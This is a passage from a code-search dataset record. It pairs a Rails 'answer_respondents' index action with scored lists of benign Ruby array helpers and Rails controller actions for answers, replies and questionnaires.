arr2[count]\n count += 1\n end\n mult_arr\nend", "def product_array(num_array)\n product_arr = []\n num_array.each_with_index do |num1, i|\n product = 1\n num_array.each_with_index do |num2, j|\n product *= num2 unless i == j\n end\n product_arr.push(product)\n end\n product_arr\nend", "def combos\n first.product(*tail)\n end", "def combine_arrays(nums, other_nums)\n \n return nums if other_nums.empty? # not necessary, but good to have\n return other_nums if nums.empty? # not necessary, but good to have\n \n res= []\n \n i, j = 0, 0\n \n while i < nums.length && j < other_nums.length\n a, b = nums[i], other_nums[j]\n \n if a <= b\n res << a\n i+= 1\n else\n res << b\n j+= 1\n end\n end\n \n if j == other_nums.length\n # other_nums was exhausted, but there still remain\n # elements in nums to process\n res.push( *nums[i..-1] )\n elsif i == nums.length\n # nums was exhausted, but there still remain\n # elements in nums to process\n res.push( *other_nums[j..-1] )\n end\n \n res\nend", "def array_pair_sums numbers\n numbers.sort[0..numbers.size-1].reduce &:+\nend", "def multiply_list(array1, array2)\n array1.each_with_index.map do |current_integer, index|\n current_integer * array2[index]\n end\nend", "def multiply_list(arr1, arr2)\r\n num = 0\r\n new_arr = []\r\n loop do\r\n new_arr << arr1[num] * arr2[num]\r\n num += 1\r\n break if num == arr1.size\r\n end\r\n new_arr\r\nend" ]
[ "0.78840876", "0.78523827", "0.7849471", "0.7821105", "0.78120816", "0.7797833", "0.7797173", "0.7797173", "0.7797173", "0.7797173", "0.7794409", "0.77779186", "0.7777299", "0.77712256", "0.77707493", "0.7764924", "0.77628165", "0.7761185", "0.7752042", "0.7731076", "0.7731076", "0.77282554", "0.77252555", "0.77216834", "0.7720335", "0.7707494", "0.76939213", "0.7678726", "0.76761144", "0.7664514", "0.76581067", "0.76349944", "0.7625352", "0.7595719", "0.75819206", "0.7570002", "0.7535567", "0.74917257", "0.7490757", "0.7466071", "0.7416866", "0.7413795", "0.7391781", "0.73896563", "0.73443735", "0.7276765", "0.72027576", "0.7143742", "0.714054", "0.70601654", "0.69888663", "0.6981621", "0.69630164", "0.69130844", "0.6909924", "0.68973315", "0.6888008", "0.68853885", "0.6868942", "0.68652916", "0.6860243", "0.6860243", "0.6852435", "0.68385714", "0.68347406", "0.6830629", "0.6817222", "0.681569", "0.67985374", "0.679534", "0.678309", "0.6777556", "0.6776281", "0.67636704", "0.67636704", "0.6745828", "0.6745071", "0.6739104", "0.6739104", "0.6732407", "0.67246974", "0.672032", "0.6713806", "0.67134994", "0.6706575", "0.6694558", "0.6690349", "0.66720945", "0.66690624", "0.66673565", "0.6666", "0.66550934", "0.66449076", "0.664207", "0.66388804", "0.66300386", "0.66120833", "0.6611489", "0.66105866", "0.6606479" ]
0.7759365
18
GET /answer_respondents GET /answer_respondents.json
def index @answer_respondents = AnswerRespondent.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_answer_respondent\n @answer_respondent = AnswerRespondent.find(params[:id])\n end", "def answers\n request('answers')\n end", "def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end", "def answer_respondent_params\n params.require(:answer_respondent).permit(:answer_id, :respondent_id)\n end", "def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end", "def index\n @reply_answers = ReplyAnswer.all\n end", "def list_answer_responses\n article = find_entity # questionnaire article\n receive_and_set_background_params\n @display_mode = params[:display_mode]\n @is_answer_response = true # choose only answer response article to questionnaire article\n @question_entities = article.questionnaires\n find_detail_of_thread(article.a_thread)\n render :partial => \"detail_with_answer_responses\", :layout => \"base_layout\"\n end", "def index\n @answers = @question.answers\n respond_with( @answers )\n end", "def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def replies\n Reply.find_by_question_id(@id)\n end", "def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end", "def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end", "def show\n render json: @answer\n end", "def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end", "def index\n redirect_user\n @respondents = Respondent.all\n end", "def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end", "def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end", "def replies\n Reply.find_by_question_id(self.id)\n end", "def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end", "def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def answer_buttons\n render json: @current_user.answer_buttons\n end", "def index\n @replies = Reply.all\n\n render json: @replies\n end", "def index\n @replies = Reply.all\n\n render json: @replies\n end", "def create\n @answer_respondent = AnswerRespondent.new(answer_respondent_params)\n\n respond_to do |format|\n if @answer_respondent.save\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully created.' }\n format.json { render :show, status: :created, location: @answer_respondent }\n else\n format.html { render :new }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_respondent\n @respondent = Respondent.find(params[:id])\n end", "def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n end", "def responses\n @proposal = current_user.proposals.find(params[:id])\n @responses = @proposal.responses\n\n respond_to do |format|\n format.html # responses.html.erb\n format.xml { render :xml => @responses }\n end\n end", "def show\n render json: @reply\n end", "def responses\n {\n 'multiple_choice_answers' => self.multiple_choice_answers,\n 'open_response_answers' => self.open_response_answers,\n 'image_question_answers' => self.image_question_answers,\n 'external_links' => self.interactive_run_states\n }\n end", "def index\n @answers = @question.answers.all\n\n respond_to_index\n end", "def get_answers\n @answers\n end", "def show\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_answer }\n end\n end", "def answers\n object.answers.collect do |a|\n {\n id: a.id,\n user_id: a.user_id,\n alternative_id: a.alternative_id\n }\n end\n end", "def get_answers_for\n user = current_user\n render_401 and return unless user\n prospect = User.find_by_id(params[:for_user_id])\n render_404 and return unless prospect\n\n answers = ShortQuestion.get_latest_n_answers_for(prospect.id, params[:num], params[:start])\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def index\n @m_answers = MAnswer.all\n end", "def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @answer_respondent.update(answer_respondent_params)\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer_respondent }\n else\n format.html { render :edit }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end", "def render_answer\n request('answers/render')\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def find_response(answer_id)\n self.responses.find_by_answer_id(answer_id)\n end", "def index\n @given_answers = GivenAnswer.all\n end", "def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end", "def show\n respond_with( @answer )\n end", "def index\n @survey_answer_items = SurveyAnswerItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_answer_items }\n end\n end", "def my_scn_answers\n\t\t#collect all the answers of current user\n\t answers = current_user.answers.all.map(&:question).uniq\n\t\tif answers.present?\n\t\t# response to the JSON\n\t\trender :json=> {success: true, \"answers\" => answers.as_json('my_scn_answers')}\n\t else\n\t render :json=> { success: false, message: \"Answers are not present\" },:status=> 203\n\t end\n\tend", "def answers\n return Answer.where(question_id: self.id) \n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def index\n @answers = Answer.all\n end", "def show\n @responder = Responder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @responder }\n end\n end", "def index\n @talk_suggestions = TalkSuggestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_suggestions }\n end\n end", "def getanswerable\n @the_question = Question.find(params[:id])\n @user_id = session[:user_id]\n if @the_question.user.id == @user_id\n render json: [{question: @the_question}]\n end\n end", "def index\n @answers = Answer.all\n \n end", "def index\n render status: :ok, json: @simple_question_alternatives\n end", "def index\n @asked_to_answers = AskedToAnswer.all\n end", "def show\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @textanswer }\n end\n end", "def index\n @answers = Replay.all\n end", "def responses\n participants.flat_map(&:responses)\n end", "def index\n @answers = @question.answers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end", "def show\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_answer }\n end\n end", "def show\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitted_answer }\n end\n end", "def index\n\t\t@answers = Answer.all\n\tend", "def show\n @reply = Reply.find(params[:id])\n\n render json: @reply\n end", "def index\n @responders = Responder.all\n end", "def destroy\n @answer_respondent.destroy\n respond_to do |format|\n format.html { redirect_to answer_respondents_url, notice: 'Answer respondent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @survey_questions = SurveyQuestion.all\n render json: @survey_questions.to_json(include: {\n answer_options: {\n include: {\n chosen_answers: {}\n } \n }\n })\n end", "def show\n @report_question_answer = ReportQuestionAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question_answer }\n end\n end", "def show\n respond_to do |format|\n format.html {redirect_to root_path}\n format.text {render text: @answer.response}\n end\n end", "def with_answers\n @questions = Question.answered\n render(:action => \"index\")\n end", "def get_answers_list\n @answers = Answer.find_all_by_questionare_id params[:q_id]\n unless @answers.blank?\n render :partial => \"answers_list\"\n else\n render :text => \"No Record Found\"\n end\n end", "def answers_by_views(options={})\n parse_answers(request(singular(id) + \"answers/views\", options))\n end", "def get_questionnaire_responses\n @get_questionnaire_responses ||=\n questionnaire_response_service.search(\n source: user.icn,\n authored: [date_ge_one_month_ago, date_le_two_weeks_from_now],\n _count: '100'\n )\n end", "def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end", "def answer_params\n params.require(:answer).permit(:content, :question_id, :response_id)\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end", "def responses\n object.questions.map do |q|\n Embedded::ResponseSerializer.new(q.filtered_responses.first,root: false)\n end\n end", "def index\n @answers = Answer.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end", "def answer_list\n answers = Quiz.where(id: params[:ids]).map{|quiz| [quiz.id => quiz.answer]}\n render json: {status: 200, answers: answers.flatten, msg: \"Success.\"}\n end", "def index\n @prompts = Prompt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prompts }\n end\n end", "def index\n @responses = @survey.responses\n @questions = Question.all\n end", "def replies\r\n RepliesController.instance\r\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end", "def new\n @answer_set = AnswerSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer_set }\n end\n end", "def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end", "def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end", "def index\n @question_answers = QuestionAnswer.all\n end", "def answers\n @answers ||= {}\n end", "def report_json(answers)\n runnable = @offering.runnable\n if @activity_id\n runnable = Activity.find(@activity_id)\n end\n\n if runnable.is_a?(ExternalActivity) && runnable.template\n runnable = runnable.template\n end\n # Provide chain of associations to load to avoid N+1 queries (values obtained thanks to Bullet gem).\n associations_to_load = {sections: {pages: [{page_elements: :embeddable}, :section ]}}\n if runnable.is_a? Investigation\n investigation_json(runnable, answers, associations_to_load)\n elsif runnable.is_a? Activity\n activity_json(runnable, answers, associations_to_load[:sections])\n end\n end", "def show\n @answer = Answer.new\n respond_to do |format|\n format.html { render }\n format.json { render json: {question: @question.to_json, insights: @question.insights.order(created_at: :desc)} }\n format.xml { render xml: @question.to_xml }\n end\n end" ]
[ "0.73055446", "0.71295285", "0.68813956", "0.6850379", "0.671438", "0.67118245", "0.6680594", "0.663625", "0.6592341", "0.6578443", "0.6578443", "0.6578443", "0.6578443", "0.6513747", "0.64961135", "0.6478164", "0.64075536", "0.6404816", "0.6389788", "0.6372988", "0.63352245", "0.6309484", "0.6270466", "0.62627125", "0.6257614", "0.6257614", "0.6257614", "0.62433064", "0.6204309", "0.6204309", "0.6201512", "0.61922073", "0.6190416", "0.61242867", "0.6108605", "0.61053133", "0.610513", "0.6084018", "0.6080271", "0.60631853", "0.6041197", "0.60357827", "0.6035165", "0.6031951", "0.60277635", "0.60209113", "0.60209113", "0.6002675", "0.59952515", "0.5967744", "0.5959629", "0.5938103", "0.59365654", "0.59338814", "0.59137285", "0.58967584", "0.58967584", "0.58967584", "0.58967584", "0.58967584", "0.58927065", "0.58895546", "0.5886921", "0.58737195", "0.5873366", "0.58725524", "0.5863476", "0.58608186", "0.58580315", "0.5856373", "0.58523434", "0.5850831", "0.58348787", "0.5826629", "0.58228165", "0.58000666", "0.5791408", "0.57892424", "0.5783712", "0.57712525", "0.57688063", "0.57599723", "0.5759339", "0.5759011", "0.5758301", "0.57552487", "0.5748596", "0.5744183", "0.57385296", "0.57357067", "0.5723927", "0.5722267", "0.5717564", "0.57118976", "0.57009923", "0.57009923", "0.56991464", "0.5691282", "0.56880814", "0.5683954" ]
0.81594193
0
GET /answer_respondents/1 GET /answer_respondents/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @answer_respondents = AnswerRespondent.all\n end", "def set_answer_respondent\n @answer_respondent = AnswerRespondent.find(params[:id])\n end", "def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end", "def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def answer_respondent_params\n params.require(:answer_respondent).permit(:answer_id, :respondent_id)\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def answers\n request('answers')\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end", "def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end", "def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end", "def show\n render json: @answer\n end", "def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end", "def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def index\n @reply_answers = ReplyAnswer.all\n end", "def replies\n Reply.find_by_question_id(@id)\n end", "def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end", "def show\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_answer }\n end\n end", "def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end", "def index\n @answers = @question.answers\n respond_with( @answers )\n end", "def set_respondent\n @respondent = Respondent.find(params[:id])\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end", "def show\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitted_answer }\n end\n end", "def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end", "def show\n @responder = Responder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @responder }\n end\n end", "def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n end", "def show\n @reply = Reply.find(params[:id])\n\n render json: @reply\n end", "def show\n render json: @reply\n end", "def index\n @replies = Reply.all\n\n render json: @replies\n end", "def index\n @replies = Reply.all\n\n render json: @replies\n end", "def replies\n Reply.find_by_question_id(self.id)\n end", "def list_answer_responses\n article = find_entity # questionnaire article\n receive_and_set_background_params\n @display_mode = params[:display_mode]\n @is_answer_response = true # choose only answer response article to questionnaire article\n @question_entities = article.questionnaires\n find_detail_of_thread(article.a_thread)\n render :partial => \"detail_with_answer_responses\", :layout => \"base_layout\"\n end", "def find_response(answer_id)\n self.responses.find_by_answer_id(answer_id)\n end", "def show\n @report_question_answer = ReportQuestionAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question_answer }\n end\n end", "def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end", "def create\n @answer_respondent = AnswerRespondent.new(answer_respondent_params)\n\n respond_to do |format|\n if @answer_respondent.save\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully created.' }\n format.json { render :show, status: :created, location: @answer_respondent }\n else\n format.html { render :new }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @textanswer }\n end\n end", "def show\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_answer }\n end\n end", "def get_answers_for\n user = current_user\n render_401 and return unless user\n prospect = User.find_by_id(params[:for_user_id])\n render_404 and return unless prospect\n\n answers = ShortQuestion.get_latest_n_answers_for(prospect.id, params[:num], params[:start])\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def render_answer\n request('answers/render')\n end", "def index\n redirect_user\n @respondents = Respondent.all\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def getanswerable\n @the_question = Question.find(params[:id])\n @user_id = session[:user_id]\n if @the_question.user.id == @user_id\n render json: [{question: @the_question}]\n end\n end", "def new\n @answer_set = AnswerSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer_set }\n end\n end", "def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end", "def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end", "def show\n @question_response = QuestionResponse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_response }\n end\n end", "def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end", "def show\n if @v1_answer\n render json: @v1_alternative\n else\n render json: get_errors(@v1_alternative), status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @answer_respondent.update(answer_respondent_params)\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer_respondent }\n else\n format.html { render :edit }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @survey_response = SurveyResponse.find(params[:id])\n \n convert_responses([@survey_response])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_response }\n end\n end", "def index\n @survey_answer_items = SurveyAnswerItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_answer_items }\n end\n end", "def show\n respond_with( @answer )\n end", "def show\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_answer_item }\n end\n end", "def show\n respond_to do |format|\n format.html {redirect_to root_path}\n format.text {render text: @answer.response}\n end\n end", "def show\n @online_answer = OnlineAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_answer }\n end\n end", "def responses\n @proposal = current_user.proposals.find(params[:id])\n @responses = @proposal.responses\n\n respond_to do |format|\n format.html # responses.html.erb\n format.xml { render :xml => @responses }\n end\n end", "def show\n @reply_vote = ReplyVote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply_vote }\n end\n end", "def index\n render status: :ok, json: @simple_question_alternatives\n end", "def index\n @answers = @question.answers.all\n\n respond_to_index\n end", "def show\n\t\t@question = Question.find(params[:id])\n @answers = Answer.where(\"question_id = ?\", @question.id).order('upvote DESC')\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: { question: @question, answers: @answers } }\n\t\tend\n\tend", "def show\n @likesforreply = Likesforreply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @likesforreply }\n end\n end", "def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end", "def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n @answer = Answer.new\n respond_to do |format|\n format.html { render }\n format.json { render json: {question: @question.to_json, insights: @question.insights.order(created_at: :desc)} }\n format.xml { render xml: @question.to_xml }\n end\n end", "def index\n @m_answers = MAnswer.all\n end", "def answer_buttons\n render json: @current_user.answer_buttons\n end", "def new\n @question = Question.find(params[:question_id])\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end", "def show\n # @question_answer = Question::Answer.new\n @question = Question.find(params[:question_id])\n @answer = Answer.new(:question_id => @question.id, :quiz_id => @question.quiz.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_answer }\n end\n end", "def new\n @client_answer = ClientAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_answer }\n end\n end", "def get_answers\n @answers\n end", "def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end", "def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end", "def show\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end", "def show\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :xml => @qa.to_json(:include => [:answer, :question]) }\n end\n end", "def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end", "def show\n # @answers = @response.answers\n # @questionnaire_name = @response.questionnaire.name\n # @user = @response.user\n end", 